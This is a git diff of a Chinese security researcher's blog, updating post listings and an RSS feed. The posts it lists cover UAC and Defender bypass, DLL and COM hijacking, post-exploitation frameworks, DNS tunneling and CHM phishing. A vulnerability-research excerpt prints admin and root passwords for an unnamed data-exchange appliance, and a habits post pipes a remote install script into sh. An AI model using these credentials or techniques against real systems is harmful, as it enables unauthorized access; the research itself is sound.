昨天将木马转换成DLL的时候,需要进行内存地址的寻找,就必须要进行调试,在网上搜了很多文章,发现条件有些复杂和繁琐。
26 -Jan 2019

Windows 2019 Bypass (UAC、Defender) to Metasploit

1,068 words, ~4 min read

通过Windows 2019 Bypass UAC缺陷,从而绕过Windows Defender获得SYSTEM权限。
31 -Dec 2018

2018 - 挥手告别

4,089 words, ~16 min read

年底了,就抽两个小时写写自己的收获吧。
22 -Dec 2018

DLL Hijacking & COM Hijacking ByPass UAC - 议题解读

3,539 words, ~14 min read

将之前都学习到的知识进行汇总,顺便把分享转化成文章
21 -Dec 2018

Windows - 内存管理

3,686 words, ~14 min read

Windows - Heap、Virtual
20 -Dec 2018

Windows - 线程同步

532 words, ~2 min read

使用临界区保证多个线程读写全局变量进行同步。
20 -Dec 2018

Windows 文件映射

441 words, ~1 min read

通过使用文件映射来增强修改文件的效率
20 -Dec 2018

最近学习Windows编程总结

1,961 words, ~7 min read

总结一下最近学习Windows编程的知识点。
19 -Dec 2018

Intranet Space - Linux Privilege

116 words, ~0 min read

Linux Privilege -> Exploit
\ No newline at end of file +倾旋的博客 - 现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。
倾旋的博客

倾旋的博客

现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。

24 +Apr 2019

Nmap扩展开发(二)

774 words, ~3 min read

本来是想写成一本书的,但是可能断断续续没有很好的产出,我只能以文章的形式分享出来了,希望我的研究成果能够给大家带来便利。—— 作者:倾旋
24 +Apr 2019

Nmap扩展开发(四)

4,480 words, ~17 min read

本来是想写成一本书的,但是可能断断续续没有很好的产出,我只能以文章的形式分享出来了,希望我的研究成果能够给大家带来便利。—— 作者:倾旋
13 +Apr 2019

最快的方式搭建域环境

1,730 words, ~6 min read

网上的文章都太复杂了,我就写一个简单、详细的,刚好虚拟机都删了。
08 +Apr 2019

又见四月

242 words, ~0 min read

又见四月.....
02 +Apr 2019

BaseRequestHandler 传参问题

331 words, ~1 min read

解决一个Python socketserver BaseRequestHandler传参问题
02 +Apr 2019

阿里云Access Token问题 - 项目收获记录

1,904 words, ~7 min read

项目中准备开展内网渗透的时候,信息搜集给我带来的收获……
30 +Mar 2019

OWASP - 吉林沙龙

145 words, ~0 min read

OWASP - 吉林沙龙
30 +Mar 2019

OWASP - 吉林沙龙《后渗透与邮件安全》 议题解读

3,402 words, ~13 min read

写一篇我在OWASP吉林沙龙分享的 后渗透与邮件安全 议题解读
14 +Mar 2019

MemoryModule-实现原理

1,533 words, ~6 min read

MemoryModule-实现原理
23 +Feb 2019

驱动人生供应链木马攻击2019.1.30变种木马分析

2,276 words, ~9 min read

360安全大脑监测到通过”驱动人生”供应链攻击传播的挖矿木马在1月30日下午4时左右再次更新……
\ No newline at end of file diff --git a/page/8/index.html b/page/8/index.html index 27edf8e..a4182ba 100644 --- a/page/8/index.html +++ b/page/8/index.html @@ -1,11 +1,11 @@ -倾旋的博客 - 现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。
倾旋的博客

倾旋的博客

现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。

19 -Dec 2018

Intranet Space - nishang <ReadTeam/Powershell/Penetration-testing>

1,406 words, ~5 min read

Nishang is a framework and collection of scripts and payloads which enables usage of PowerShell for offensive security, penetration testing and red teaming. Nishang is useful during all phases of penetration testing.
18 -Dec 2018

Intranet Space - Dns Tunneling

904 words, ~3 min read

DNS Tunneling,是隐蔽信道的一种,通过将其他协议封装在DNS协议中传输建立通信。因为在我们的网络世界中DNS是一个必不可少的服务,所以大部分防火墙和入侵检测设备很少会过滤DNS流量,这就给DNS作为一种隐蔽信道提供了条件,从而可以利用它实现诸如远程控制,文件传输等操作,现在越来越多的研究证明DNS Tunneling也经常在僵尸网络和APT攻击中扮演着重要的角色。
18 -Dec 2018

Intranet Space - p0wnedShell

365 words, ~1 min read

p0wnedShell is an offensive PowerShell Runspace Post Exploitation host application written in C# that does not rely on powershell.exe but runs PowerShell commands and functions within a PowerShell run space environment (.NET). It has a lot of offensive PowerShell modules and binaries included making the process of Post Exploitation easier.
15 -Dec 2018

Intranet Space - Empire

765 words, ~3 min read

Empire is a PowerShell and Python post-exploitation agent.
05 -Dec 2018

应急响应 近期总结

1,662 words, ~6 min read

总结一下近期做的一些应急响应心得
30 -Nov 2018

彻底理解Windows认证 - 议题解读

7,934 words, ~31 min read

在内部分享的《彻底理解Windows认证》议题解读
26 -Nov 2018

内网渗透心得

1,101 words, ~4 min read

内网渗透心得
04 -Nov 2018
30 -Oct 2018

解决Mac OS挂载NTFS格式硬盘无法读写

29 words, ~0 min read

本文介绍一下解决Mac OS挂载NTFS格式硬盘无法读写
19 -Oct 2018

xssValidator

420 words, ~1 min read

本文记录一下xss Validator的使用方法
\ No newline at end of file +倾旋的博客 - 现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。
倾旋的博客

倾旋的博客

现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。

31 +Jan 2019

BMP位图隐写

1,047 words, ~4 min read

快过年了,最近学不进去东西,总结一下之前的基础知识,顺便结合起来。
26 +Jan 2019

Visual Studio 调试DLL

42 words, ~0 min read

昨天将木马转换成DLL的时候,需要进行内存地址的寻找,就必须要进行调试,在网上搜了很多文章,发现条件有些复杂和繁琐。
26 +Jan 2019

Windows 2019 Bypass (UAC、Defender) to Metasploit

1,068 words, ~4 min read

通过Windows 2019 Bypass UAC缺陷,从而绕过Windows Defender获得SYSTEM权限。
31 +Dec 2018

2018 - 挥手告别

4,089 words, ~16 min read

年底了,就抽两个小时写写自己的收获吧。
22 +Dec 2018

DLL Hijacking & COM Hijacking ByPass UAC - 议题解读

3,539 words, ~14 min read

将之前都学习到的知识进行汇总,顺便把分享转化成文章
21 +Dec 2018

Windows - 内存管理

3,686 words, ~14 min read

Windows - Heap、Virtual
20 +Dec 2018

Windows - 线程同步

532 words, ~2 min read

使用临界区保证多个线程读写全局变量进行同步。
20 +Dec 2018

Windows 文件映射

441 words, ~1 min read

通过使用文件映射来增强修改文件的效率
20 +Dec 2018

最近学习Windows编程总结

1,961 words, ~7 min read

总结一下最近学习Windows编程的知识点。
19 +Dec 2018

Intranet Space - Linux Privilege

116 words, ~0 min read

Linux Privilege -> Exploit
\ No newline at end of file diff --git a/page/9/index.html b/page/9/index.html index 9afc8c8..ed1d263 100644 --- a/page/9/index.html +++ b/page/9/index.html @@ -1,11 +1,11 @@ -倾旋的博客 - 现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。
倾旋的博客

倾旋的博客

现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。

13 -Oct 2018

COM Hijacking

1,810 words, ~7 min read

本文介绍一下COM劫持
08 -Oct 2018

Windows 本地特权提升技巧

3,532 words, ~14 min read

本文总结几个Windows 本地特权提升技巧
16 -Aug 2018

Python virtualenv

99 words, ~0 min read

本文记录virtualenv的使用
15 -Aug 2018

Microsoft DirectX SDK June 2010 Xact3.exe DLL Hijacking复现

913 words, ~3 min read

本文记录DirectX SDK的DLL劫持漏洞
03 -Aug 2018

近期的生活

517 words, ~2 min read

本文记录一下在上海的这三个月
27 -Jul 2018

Nmap扩展开发(一)

2,009 words, ~8 min read

本来是想写成一本书的,但是可能断断续续没有很好的产出,我只能以文章的形式分享出来了,希望我的研究成果能够给大家带来便利。
09 -Jun 2018

QQ拼音输入法6.0最新版DLL劫持 - 可利用于提权

1,039 words, ~4 min read

QQ拼音输入法6.0最新版DLL劫持 - 可利用于提权
02 -May 2018

Windows域渗透 - 用户密码枚举

812 words, ~3 min read

推荐一个Powershell脚本
20 -Apr 2018

新生活 - 上海,我来了

81 words, ~0 min read

上海,我来了
27 -Mar 2018

使用CrackMapExec 进行 NTLM Hash传递攻击

798 words, ~3 min read

本文介绍一个工具 - CrackMapExec 进行 NTLM Hash传递攻击
\ No newline at end of file +倾旋的博客 - 现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。
倾旋的博客

倾旋的博客

现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。

19 +Dec 2018

Intranet Space - nishang <ReadTeam/Powershell/Penetration-testing>

1,406 words, ~5 min read

Nishang is a framework and collection of scripts and payloads which enables usage of PowerShell for offensive security, penetration testing and red teaming. Nishang is useful during all phases of penetration testing.
18 +Dec 2018

Intranet Space - Dns Tunneling

904 words, ~3 min read

DNS Tunneling,是隐蔽信道的一种,通过将其他协议封装在DNS协议中传输建立通信。因为在我们的网络世界中DNS是一个必不可少的服务,所以大部分防火墙和入侵检测设备很少会过滤DNS流量,这就给DNS作为一种隐蔽信道提供了条件,从而可以利用它实现诸如远程控制,文件传输等操作,现在越来越多的研究证明DNS Tunneling也经常在僵尸网络和APT攻击中扮演着重要的角色。
18 +Dec 2018

Intranet Space - p0wnedShell

365 words, ~1 min read

p0wnedShell is an offensive PowerShell Runspace Post Exploitation host application written in C# that does not rely on powershell.exe but runs PowerShell commands and functions within a PowerShell run space environment (.NET). It has a lot of offensive PowerShell modules and binaries included making the process of Post Exploitation easier.
15 +Dec 2018

Intranet Space - Empire

765 words, ~3 min read

Empire is a PowerShell and Python post-exploitation agent.
05 +Dec 2018

应急响应 近期总结

1,662 words, ~6 min read

总结一下近期做的一些应急响应心得
30 +Nov 2018

彻底理解Windows认证 - 议题解读

7,934 words, ~31 min read

在内部分享的《彻底理解Windows认证》议题解读
26 +Nov 2018

内网渗透心得

1,101 words, ~4 min read

内网渗透心得
04 +Nov 2018
30 +Oct 2018

解决Mac OS挂载NTFS格式硬盘无法读写

29 words, ~0 min read

本文介绍一下解决Mac OS挂载NTFS格式硬盘无法读写
19 +Oct 2018

xssValidator

420 words, ~1 min read

本文记录一下xss Validator的使用方法
\ No newline at end of file diff --git a/posts/index.html b/posts/index.html index ecff798..c01e6ac 100644 --- a/posts/index.html +++ b/posts/index.html @@ -1,5 +1,15 @@ Posts - 倾旋的博客 -
倾旋的博客

倾旋的博客

现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。

Posts

  • 23 +
    倾旋的博客

    倾旋的博客

    现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。

    Posts

    • 04 +Jun 2024

      使用Coze平台对Github Star项目进行分析推送

      在这篇文章中,我将介绍如何使用Coze平台开发一个Bot来读取Github Star项目,并输出分析结果推送到知识星球。
    • 29 +Dec 2023

      2023年终总结 - 你好2024!

      2023年转眼过去,好像2022年-2023年很少写一写总结了,心血来潮给博客装修了一下,为了迎接2024年的到来,认真写一篇年度总结,算是给这一年一个交代,我会介绍一下这两年以来自己做的一些事情和成长。
    • 31 +Oct 2023

      需要保持的几个好习惯

      在这里我梳理一些工作和生活需要保持的几个好习惯,用于时刻提醒自己继续保持。
    • 18 +Sep 2023

      某安全数据交换系统的漏洞挖掘

      本文写于2022年,分享一下挖掘某安全数据交换系统漏洞的过程。
    • 18 +Sep 2023

      邮件钓鱼与T1218.001

      今天中午看到一份关于Bitter组织针对亚太地区能源部门发起钓鱼活动分析报告,其中@Ryan Robinson 2023年3月24日对该组织使用的CHM样本进行了分析。于是开始详细了解为什么CHM格式在钓鱼中可以发挥如此大的价值。
    • 08 +Sep 2023

      VsCode扩展中的DLL注入器

      早上 @Akkuman 说看到Vsocde中的扩展目录中有疑似签名过的DLL注入器,遂记录一下。
    • 10 +Aug 2023

      红队行动守则

      这篇文章是收集了多数红队在进行红队行动的经验之谈,由于工作发展原因,不再继续红队相关的工作,因此决定分享出来。
    • 07 +Aug 2023

      记录一下配置Clash透明代理

      日常办公和上网需要挂不同的代理,切换起来有点麻烦,所以记录一下配置Clash透明代理的流水账
    • 23 +Jul 2023

      使用Appveyor构建VS项目-快速编译

      在工作中经常会看到一些做的比较好的C++开源项目,但是作者没有编写CI/CD去构建项目,发布Release版本的二进制文件,因此需要自己手动编译,但有时候又是临时的环境,还需要安装Visual Studio之类的IDE来构建,比较麻烦,因此appveyor可以支持各类语言的构建环境,只需要在网页上就可以发布二进制程序,解决了本地安装开发环境的痛点。
    • 19 +Jul 2023

      常用软件记录

      本文记录一下常用的软件以及下载地址
    • 23 Oct 2022

      使用RPC Filter技术防御内网RPC横向攻击

      本文介绍了RPC Filter技术的概念与使用,并演示了如何通过RPC Filter阻断基于计划任务的横向攻击,并给出了大量RPC Filter的参考,能够有效的应对impacket所提供的内网横向技术的攻击.....
    • 19 Sep 2022

      我的三年红队生涯总结

      很久没有写一些关于工作的感悟了,近期想了一些事情,以此写一篇关于我三年的红队生涯总结。
    • 03 Sep 2022

      分享一下最近使用Arch Linux的感受

      Arch Linux是一款基于x86-64架构的Linux发行版。系统主要由自由和开源软件组成,支持社区参与。系统设计以KISS原则(保持简单和愚蠢)为总体指导原则,注重代码正确、优雅和极简主义,期待用户能够愿意去理解系统的操作。Arch Linux系统安装、删除和更新软件的软件包管理器叫做pacman....
    • 17 diff --git a/posts/index.xml b/posts/index.xml index 693a4e7..a724c6f 100644 --- a/posts/index.xml +++ b/posts/index.xml @@ -1,4 +1,92 @@ -Posts on 倾旋的博客https://payloads.online/posts/Recent content in Posts on 倾旋的博客Hugozh-cn倾旋 All rights reservedSun, 23 Oct 2022 00:00:00 +0000使用RPC Filter技术防御内网RPC横向攻击https://payloads.online/archivers/2022-10-23/1/Sun, 23 Oct 2022 00:00:00 +0000https://payloads.online/archivers/2022-10-23/1/前言 Impacket工具包中所包含的内网横向技术大多都是依赖于RPC协议的,但对于RPC协议的攻击防御除了网络流量侧的检测识别以外,还可以通过Windows 内置的WFP(Windows Filtering Platform)技术。 +Posts on 倾旋的博客https://payloads.online/posts/Recent content in Posts on 倾旋的博客Hugozh-cn倾旋 All rights reservedTue, 04 Jun 2024 00:00:00 +0000使用Coze平台对Github Star项目进行分析推送https://payloads.online/archivers/2024-06-04/coze-ai/Tue, 04 Jun 2024 00:00:00 +0000https://payloads.online/archivers/2024-06-04/coze-ai/👾实现思路 Coze有个版本,分别面向海外和国内,这里我使用海外版本 +域名 模型 备注 coze.com GPT4o\GPT3.5\GPT4\Gemini 1.5 Pro.. 海外魔法 coze.cn 字节云雀 国内 这里不多介绍Coze平台的基本功能了,请移步官方文档:Coze - Coze 文档中心 +整体实现思路如下: +编写一个能够读取我自己Github Star项目的插件 编写一个能够向知识星球推送文字的插件 创建工作流,方便后续其他Bot调用 创建一个Bot,编写Prompt,导入上述插件进行调试 设置自定义交互的按钮来修改变量,增加易用性 🔧编写访问Github API的插件 为了实现能够将Github的Star项目输入给AI,首先需要编写一个插件,这个插件用于访问Github API接口: +1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 import requests import os # 获取Github访问令牌 GITHUB_TOKEN = os.getenv(&#39;GITHUB_TOKEN&#39;) headers = { &#39;Authorization&#39;: f&#39;token {GITHUB_TOKEN}&#39; } def get_starred_repos(username): url = f&#39;https://api.2023年终总结 - 你好2024!https://payloads.online/archivers/2023-12-29/year-end-summary/Fri, 29 Dec 2023 00:00:00 +0000https://payloads.online/archivers/2023-12-29/year-end-summary/前言 2023年转眼过去,好像2022年-2023年很少写总结了,心血来潮在元旦来临之前花了一些时间给博客装修了一下,为了迎接2024年的到来,认真写一篇年度总结,算是给这一年一个交代,我会总结一下这近两年以来自己做的一些事情和成长。 +在上周末看到阮老师的周刊的标题:科技爱好者周刊(第 283 期):[年终感想] 没有目的地,向前走,主要内容为BaseCamp 公司创始人 Jason Fried 的一篇短文提到“我做事,我尝试,我建造,我想要取得进步,我想让我做的东西使得自己、使得公司、使得家庭、使得社会变得更好。但我从未设定过目标。这不是我做事的方式。”看完这篇短文,思考了一下好像我也没有什么确切具体的目标,虽说确切具体的目标对于个人来说是会起到激励的作用,但这一年我对自己的要求没有以往那么苛刻了,在这种状态下收获了很多从未有过的体验。 +2023这一年的工作感想 2022年做了许多重大的决定,其中对生活节奏影响较大的就是换了一份工作,由红队研究员的身份转向一个对安全运营视角进行有效性验证的安全研究员,大概是2022年9月底从老东家离职,写了一篇《我的三年红队生涯总结》宣告自己的红队工作告一段落,开始拥抱新的视角,拓展更广的视野,对安全工作的理解也慢慢发生改变。起初刚加入创业公司,节奏还是能够快速适应的,首先就是工作的交付形式开始转变,从项目的阶段性成果转变成产品相关的测试用例、新技术的调研与应用、与头部企业的安全负责人交流实践经验等等,做产品和做业务有很大的区别,产品功需要更加精细化,对每个功能的要求都应当非常高,才会产生价值,是一个需要内心始终与用户对话的工作形式,所有的产品最初都需要打磨,都需要反馈才能变得更好,这个过程对比此前进行的项目交付,显得节奏感慢了很多,而项目是一个短周期、阶段性的事务。 +再者就是参与到产品的建设中经常可以获得一些正反馈,这是我的动力源,应用的每个技术方案都会通过更新流转到每个用户面前,类比于红队获取了一个目标权限等同。在前几个月的时候,和前辈聊天提到“对手”这个词,前辈说我现在没有对手了,没有对手就会影响到一个人的动力,以往的环境是天天有竞争的,红蓝队伍的对抗,一场场攻防演练,一个个排名,外部的对手数不胜数,所以每次竞争后都会变得更有力量,而现在需要从自身寻找对手,这个对手就是自己,从头梳理自己对企业安全建设的理解,去学习别人的最佳实践,思考事物为何如此发展,善用平台的资源和力量。 +入职后先后接手了终端安全验证、勒索软件验证、AD域安全验证、RASP验证,重新设计了很多次不同验证方向的闭环方案,也接触了何谓“有效性验证”、何谓“安全能力验证”,如果用一句话概括我做的事情就是:“企业先有安全建设,后有安全运营,安全建设积累安全能力,安全运营积累最佳实践,验证安全能力提高安全建设水平,验证安全运营有效性提升实践能力。“ +其实我的大部分时间不只是在做攻击模拟,而是在建立反向验证的思维逻辑,以及应用/研究一套可行性较高、成本较低的验证方案。举例终端安全来说,验证的维度其实非常广,覆盖了ATT&amp;CK矩阵的大部分技术项,而从终端安全防御视角来看,大部分攻击都可以通过操作系统遥测事件输入威胁识别模型识别哪些命令、行为是攻击从而分析出来终端是否受到了攻击。攻击模拟就是在不影响系统安全性的情况下完成一次或多次的攻击回放,回放技术做的越好、越真实、越能体现归因(这个攻击被检测了吗?被谁检测的?响应时间多长?若不能检测,该如何检测),价值就越大,这里摸爬滚打一路过来遇到很多难点就不展开陈述了。 +总的来说,建立反向验证思维,可以让安全工作做的更可信,更容易量化分析。在我设计好一套验证方案后,输出的验证结果反应出了安全能力的很多问题,这些是我以往在红队视角无法想象的,可能是攻击特征很明显的命令,某安全产品竟然没有告警?还有的时候想去验证一些自己的Bypass思路,发现有的安全产品也无法检测,终于真正站在一个中立视角、科学的验证安全能力。 +在今年工作的最后的一天,同事发来了一个“MBI-GS职业倦怠量表“,经过测试我得到了23分的结果,工作状态良好。 +什么是工作倦怠 +“职业倦怠症”又称“职业枯竭症”,它是一种由工作引发的心理枯竭现象,是上班族在工作的重压之下所体验到的身心俱疲、能量被耗尽的感觉,这和肉体的疲倦劳累是不一样的,而是缘自心理的疲乏。 +工作倦怠方面最权威、最常用的量表——MBI-GS(Maslach Burnout Inventory-General Survey)。2002年,李超平获得该问卷开发者Michael Leiter教授的授权,在国内修订MBI-GS。结果表明:该量表在国内具有较好的信度和效度。该量表包括三部分:情绪衰竭(Emotional Exhaustion)、玩世不恭(Cynicism)和成就感低落(Reduced Personal Accomplishment)。情绪衰竭分量表包括5道题,玩世不恭分量表包括5道题,成就感低落分量表包括6道题,整个问卷共16道题。该量表采用利克特7分等级量表,0代表“从不”,6代表“非常频繁”。 +在做这个问卷的过程中,有很多或者几乎都是,需要从自身的工作感受出发进行作答的问题,以前和朋友、领导多少都发表过对于一份工作的观点,在不同时间的节点,我都会思考做事的意义,在抓住能让自己变得更好的前提下,总能得到正向的反馈,这种感觉可以持续推动我成长下去。 +2023这一年的生活感想 今年经历太多无法言说的事情了,我始终抱着过去发生的、经历的,总能成为将来自己的一部分,让我带着它继续的走向明天。这一年认识了新朋友,接触了很多不一样的观点,觉得自己人生的岁岁年年真的才刚开始,我开始阅读更多类别的书籍、尝试不一样的食物、锻炼自己的身体、掌控自己的时间,也学会适当的放松自己、爱自己,以一个旁观者的身份回顾自己,用今天的经验去总结过去某个时刻的自己所做出的选择,然后再回到现实中,感受都会无比通透,让所经历的苦难、快乐能真正成为自己的一部分。 +我经常会担心忘记自己某天某时某刻某地所见所闻所想,能够引起我情绪波动的事物我都会放开自己的去感受它,这样对比起曾经的自己变化还是挺大的。 +下面回顾我这一年的每个月,我都写了一句送给自己的话。 +一月份,在新疆过了农历新年,排除疫情的两年以外,与往年一样,吃了许多新疆美食,家人也想让我多吃一点,总担心我一个人在外面吃得不好,穿的不好。在今年过生日之前,我对于至亲总会离去这件事感觉很遥远,虽然没有发生,但人总会经历,记得在网上看到过,有些男人可能一夜就会长大。 +“其实我很好,只是回到家里,我好像无法褪去孩子的身份与模样,超幸福的。” +二月份,去见了北京的老朋友,郭师傅还是一样我没变,他也没变。突然发现我有一个特质,就是朋友一开始认识我时是什么样,不管多久,见到我时我还是始终一样。简单跟郭师傅学习了单反的使用,原来摄影这件事也很酷,我好像还没有很多其他的爱好。 +“羡慕有许多爱好的人,在不喜欢工作的时候可以通过其他爱好补充能量。” +三月份,和同事们一起去了一次环球影城,果然诚不欺吾,唯一不足的就是人真的太多了,从未能想象到原来游乐园可以这么好玩,从早到晚的一天几乎都在排队,累到脚都不想着地,还是钱包够硬才能痛快。 +“今年在知乎上刷到一个问题,大概意思是游乐场为什么不能线上取号,排队真的能快乐吗?我比较认同一个答案:排队是游乐园的一环。【热闹】【期待感】【获得感】是游乐场重要的一部分。” +四月份,已经回到上海工作了,这个我陌生又熟悉的城市,相比于北京好像这里我更容易找到自己的生活节奏,能走在街头感受人海车流,脑海中还能做一些闲暇的思考,可快可慢,允许我自己进行调节。翻开相册和博客,2018年的那个四月,也如近日一样逐渐成为人生重要的节点。 +“我们都要好好生活,好好找到自己的节奏,不盲目活在他人的节奏之下。” +五月份,和上海的朋友聚了聚,他们开始关注身体健康,普遍走向三高,我貌似并没有这种焦虑,体检的时候医生竟然说我是最好的,讲的我都有点不自信了。 +“我的朋友们啊,虽然不经常联系,如果可以见面,我们都保持曾经最好的状态就太好了,祝愿所有的人都身体健康。” +六月份,在飞机上拿了一份报纸,其中有一篇文章《“断亲”现象背后的社会根源》提到了几个根源: +人口少子化可能催生了“断亲族”,亲戚数量少、交往不够 家庭结构和家庭关系的变迁,城市化和人口流动将家庭结构小型化 对于“孝道”的理解也有了时代新的内涵,出现了代际之间的差异 当下年轻人面临着诸多的现代社会压力,比如当下流行的“社交恐惧症”等网络用语也许能帮助我们窥见一斑 我觉得我也属于这大时代中的一个小小缩影,在外打工拼搏的年轻人与家族亲属关系的维系慢慢变得减少,和父母的联系做到很紧密就已经很不错了,况且我还是那个话少的那个。今年在网上认识也认识了一些在家工作的朋友,他们反馈给我的感觉都是生活节奏较慢,没有房租焦虑,归属感强,朋友家人可以经常见面,工作场所和家庭相距并不远,其实还是有点羡慕的,但城市与城镇的资源配比相差较大,这是一个围城。 +“如果我们可以经常像朋友一样沟通,我有好多话想说。” +七月份,开始健身,调整自己的体态。那段时间我有好好吃饭,好好运动,好好睡觉。因为每天健身,早上会起的很早睡得很早,就是因为起得早,有点产生时间焦虑了,以往都是经常熬夜,在夜晚阅读、学习,效率很高。在早晨做自己的事情还没有养成习惯,做的最多的事情就是看日出,呼吸清晨的空气,阅读微信文章。除了健身,还帮朋友每天晚上照顾猫咪,我总觉得猫咪如果每天没有人玩会变得抑郁吧,这件事让我锻炼了熟练的铲屎技能。 +“健身好像是一个永远不会吃亏的决定之一,对抗懒惰,让处于人生黄金时代的身体燃烧起来。” +八月份,上海还是一如既往的酷暑,每天晚上的云彩都有不同颜色,拍了很多晚霞的照片。中旬的时候去烫了一次头发,开始理解原来改变自己的外在,也能获得不一样的心情。同时,也开始在网上给大洋彼岸的陌生人写信,我只写了三四封,其中三封有回信,但没有坚持下去,倒是锻炼了自己的文笔能力。通过写信,了解了集邮、名信片的功能,这种东西真的好适合做“意义”的载体。 +“我把自己丢到广阔世界里,听一听不同的回响,原来我是一个不起眼的坚硬原石,再多的风雨和时间都无法褪去我存在过的痕迹。” +九月份,下午开始频繁的喝起了咖啡,瑞幸的咖啡打卡了不少,喝到最后找到了适合自己的口味。经常一个人出入电影院享受周末闲暇的时光,喜欢看晚场,坐前排,散场的时候也第一个走。中旬的时候公司周年纪念,去了山东青岛,满足了自己对海洋的向往,海浪拍打在自己的腿上,扑鼻而来的海洋气息,那一刻站在沙滩上的我一定是远离这个世界上喧嚣最远的一次。 +“旅行的路上让我捡拾自己的贝壳,我把它们挂满身上,再带回现实人间。” +十月份,最值得纪念的就是回到新疆,和家人去看了天池,和十年朋友一起骑马,我坐在马背上享受草原上该有的狂野,羊群静静的扎堆低头吃草,鸟群在湛蓝天空掠过,十年之前趴在课桌上的我们可曾想过我们会像今天自由。 +“不知不觉地,我就长大了,该狂野就狂野,该文静就文静。” +十一月份,周末去了华师大参加第十七届国际文化节,见到很多外国的留学生,展台上摆满了他们自己国家的美食和小礼物,我和朋友走了一圈,感觉站在了文化汇聚的焦点,为了借一张纸去找街头的学生打招呼、和外国实习生交谈,那一刻我毫不社恐。晚上有幸观看了每个国家自己编排的节目,有舞蹈、唱歌、服装品鉴等等。其中有一个关于汉服的节目,介绍了汉服的起源和演变,穿着汉服的人都是外国留学生,他们喜爱我们的文化,朗读我们的诗歌,在这里我感受到了民族该有的文化自信。 +“没有人可以评价你,做一个自信的人,我们的文化也是一样。” +十二月份,天气逐渐变冷,给自己买了几件衣服,没想到还挺适合自己。每逢周五的晚上偶尔给自己做一桌便餐,摆上几瓶啤酒,享受着自己的生活。同时,朋友送给我的那颗多肉在桌上正茁壮成长,是我喜欢的颜色,好像阳光强烈它就会慢慢长出渐变的桃色。 +“如果要送朋友礼物,不知道送什么的话,送一颗绿植是不错的选择,愿烦心事丢掉,腾地方装花。” +这一年的生活节奏就像《Whisper Of Hope》那样,这首歌是我在十二月收到最好的日推了,除了这个以外,我还经常听一听摇滚,最爱《美好的事可不可以发生在我身上》,也是朋友给我安利的。 +最后 2024年,这里我就不立什么Flag了,就如文章开头所讲。最后我写下祝福,希望自己可以有更多的人生体验,多和朋友接触,多向身边优秀的人看齐,希望朋友们也都越来越好,人生如书,都可以撰写出自己无悔的青春岁月。需要保持的几个好习惯https://payloads.online/archivers/2023-10-31/good-habits/Tue, 31 Oct 2023 00:00:00 +0000https://payloads.online/archivers/2023-10-31/good-habits/使用带密码的私钥 使用带密码的私钥能够确保公私钥文件被窃取后,依然无法使用。 +1 2 3 4 5 # ssh-keygen 命令 $ ssh-keygen -t rsa -f secret-key Generating public/private rsa key pair. Enter passphrase (empty for no passphrase): # 输入密码 Enter same passphrase again: # 输入密码 使用命令行提示工具 oh-my-zsh oh my zsh +1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 $ sh -c &#34;$(curl -fsSL https://raw.githubusercontent.com/ohmyzsh/ohmyzsh/master/tools/install.sh)&#34; $ vim .zshrc # 我使用的插件 plugins=( git docker zsh-syntax-highlighting zsh-autosuggestions zsh-completions copyfil e emoji extract sudo ) 使用更好的替代命令 在Linux命令行下,会经常使用系统命令进行工作,但是内置的命令功能很单一,需要做一些增强,我这里摘取部分配置:某安全数据交换系统的漏洞挖掘https://payloads.online/archivers/2023-09-18/code-auditing/Mon, 18 Sep 2023 00:00:00 +0000https://payloads.online/archivers/2023-09-18/code-auditing/本文写于2022年,分享一下挖掘某安全数据交换系统漏洞的过程。 +基本信息: +后台管理界面用户名密码:admin/nxg@LL99 操作系统:root / bo%Fn!71、uninxg / lx$zR9ce 配置网络 根据产品安装文档环境搭建完毕后,手动设置IP地址和DNS: +手工修改 /etc/resolv.conf +1 2 nameserver 114.114.114.114 nameserver 8.8.8.8 修改 /etc/NetworkManager/NetworkManager.conf 文件,在main部分添加 “dns=none” 选项: +1 2 3 [main] #plugins=ifcfg-rh dns=none 网络IP地址配置文件在 /etc/sysconfig/network-scripts 文件夹下: +我添加了两个网卡,其中一个用来供本机访问: +/etc/sysconfig/network-scripts/ifcfg-eth1-1 +1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 HWADDR=00:0C:29:4B:16:B4 TYPE=Ethernet PROXY_METHOD=none BROWSER_ONLY=no BOOTPROTO=none IPADDR=192.168.117.100 GATEWAY=192.168.117.2 PREFIX=24 DNS1=114.114.114.114 DNS2=8.8.8.8 DEFROUTE=yes IPV4_FAILURE_FATAL=no IPV4_DNS_PRIORITY=100 IPV6INIT=no NAME=eth1 UUID=8a47e710-cadd-49b5-b9b7-33a324c4ab66 DEVICE=eth1 ONBOOT=no 观察启动命令行:邮件钓鱼与T1218.001https://payloads.online/archivers/2023-09-18/phishing/Mon, 18 Sep 2023 00:00:00 +0000https://payloads.online/archivers/2023-09-18/phishing/背景 今天中午看到一份关于Bitter组织针对亚太地区能源部门发起钓鱼活动分析报告,其中@Ryan Robinson 2023年3月24日对该组织使用的CHM样本进行了分析。于是开始详细了解为什么CHM格式在钓鱼中可以发挥如此大的价值。 +CHM文件打开的过程 CHM文件是各种内容的压缩编译,如HTML文档,图像和脚本/Web相关的编程语言,在CHM打开时,会调用IE浏览器的基础组件解析显示,双击打开CHM文件其实本质上是创建了一个hh.exe的进程。 +CHM的Payload 